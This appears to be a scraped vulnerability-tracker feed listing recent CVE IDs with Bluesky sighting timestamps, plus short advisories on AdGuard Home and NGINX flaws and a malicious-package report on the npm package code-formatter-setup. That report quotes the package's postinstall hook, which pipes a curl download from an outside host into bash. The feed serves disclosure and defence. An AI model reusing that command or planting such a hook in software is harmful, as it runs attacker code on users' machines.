CVE-2026-61873

creationtimestamp| type| source ---|---|--- 2026-07-15 16:14:39+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mqp4jgjut22x...

CVE-2026-61436

creationtimestamp| type| source ---|---|--- 2026-07-15 16:09:38+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mqp4ahmwr222...

CVE-2026-61443

creationtimestamp| type| source ---|---|--- 2026-07-15 16:05:21+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mqp3yru5x62w...

CVE-2026-47703 AdGuard Home: DoQ-to-UDP State Reduction and Source-Port Oracle

AdGuard Home is a network-wide software for blocking ads and tracking. Prior to 0.107.75, AdGuard Home's client-triggered DoQ forwarding path to a udp:// upstream reduced backend UDP DNS state by producing dnsid=0 or txid=0 and exposed a quoted-port ICMP source-port oracle, weakening DNS response...

CVE-2026-47703

AdGuard Home is a network-wide software for blocking ads and tracking. Prior to 0.107.75, AdGuard Home's client-triggered DoQ forwarding path to a udp:// upstream reduced backend UDP DNS state by producing dnsid=0 or txid=0 and exposed a quoted-port ICMP source-port oracle, weakening DNS response...

CVE-2026-61433

creationtimestamp| type| source ---|---|--- 2026-07-15 16:01:34+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mqp3rzyupx2e...

CVE-2026-61836

creationtimestamp| type| source ---|---|--- 2026-07-15 16:01:03+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3mqp3r2rc6t2i 2026-07-21 09:13:06+00:00| seen| https://bsky.app/profile/suriq.io/post/3mr5hr26efm2q...

CVE-2026-61430

creationtimestamp| type| source ---|---|--- 2026-07-15 15:52:28+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mqp3bro2kc22...

CVE-2026-50148

creationtimestamp| type| source ---|---|--- 2026-07-15 15:52:04+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mqp3b2jai22u...

CVE-2026-61740

creationtimestamp| type| source ---|---|--- 2026-07-15 15:50:06+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mqp35kbkrs2j 2026-07-20 22:35:16+00:00| published-proof-of-concept| https://github.com/HKUDS/LightRAG/security/advisories/GHSA-f4vv-55c2-5789...

CVE-2026-57996

creationtimestamp| type| source ---|---|--- 2026-07-15 15:49:58+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mqp35bwnut2l...

CVE-2026-44986

creationtimestamp| type| source ---|---|--- 2026-07-15 15:48:05+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mqp2zwwfih2x 2026-07-16 09:01:34+00:00| seen| https://bsky.app/profile/hugovalters.bsky.social/post/3mqqurwh7u42e 2026-07-16 09:01:50+00:00| seen|...

CVE-2026-61736

creationtimestamp| type| source ---|---|--- 2026-07-15 15:48:04+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mqp2zvftsc2w 2026-07-15 16:00:47+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3mqp3qmrswz2h 2026-07-20 22:35:18+00:00|...

CVE-2026-60085

creationtimestamp| type| source ---|---|--- 2026-07-15 15:45:28+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mqp2vafmxw2h...

MAL-2026-10682 Malicious code in code-formatter-setup (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 29eac23cdb5855a900e15c2d86231de29d9985573f90f819f9d4ba08425b9042 package.json declares a postinstall lifecycle hook that runs node -e "require'childprocess'.execSync'curl -s https://m100.cloud/setup | bash'",...

CVE-2026-38450

creationtimestamp| type| source ---|---|--- 2026-07-15 15:44:04+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mqp2sr3l7e2y...

CVE-2026-56339

creationtimestamp| type| source ---|---|--- 2026-07-15 15:41:32+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mqp2o7cnt32o 2026-07-16 11:39:38+00:00| seen| https://bsky.app/profile/cybersecinsight.bsky.social/post/3mqr5mlyta527...

CVE-2026-58655

creationtimestamp| type| source ---|---|--- 2026-07-15 15:39:45+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mqp2kzoz6t2s...

CVE-2026-42533

A vulnerability exists in NGINX Plus and NGINX Open Source when a map directive uses regex matching and a string expression references the map's regex capture variables before referencing the map output variable. Alternatively, the same result could be achieved by using a non-cacheable variable i...

CVE-2026-60005

NGINX Plus and NGINX Open Source have a vulnerability in the ngxhttpslicemodule module. When the slice directive and unnamed regex captures are configured or when a background cache update happens, unauthenticated attackers can send requests that may cause uninitialized memory access in the NGINX...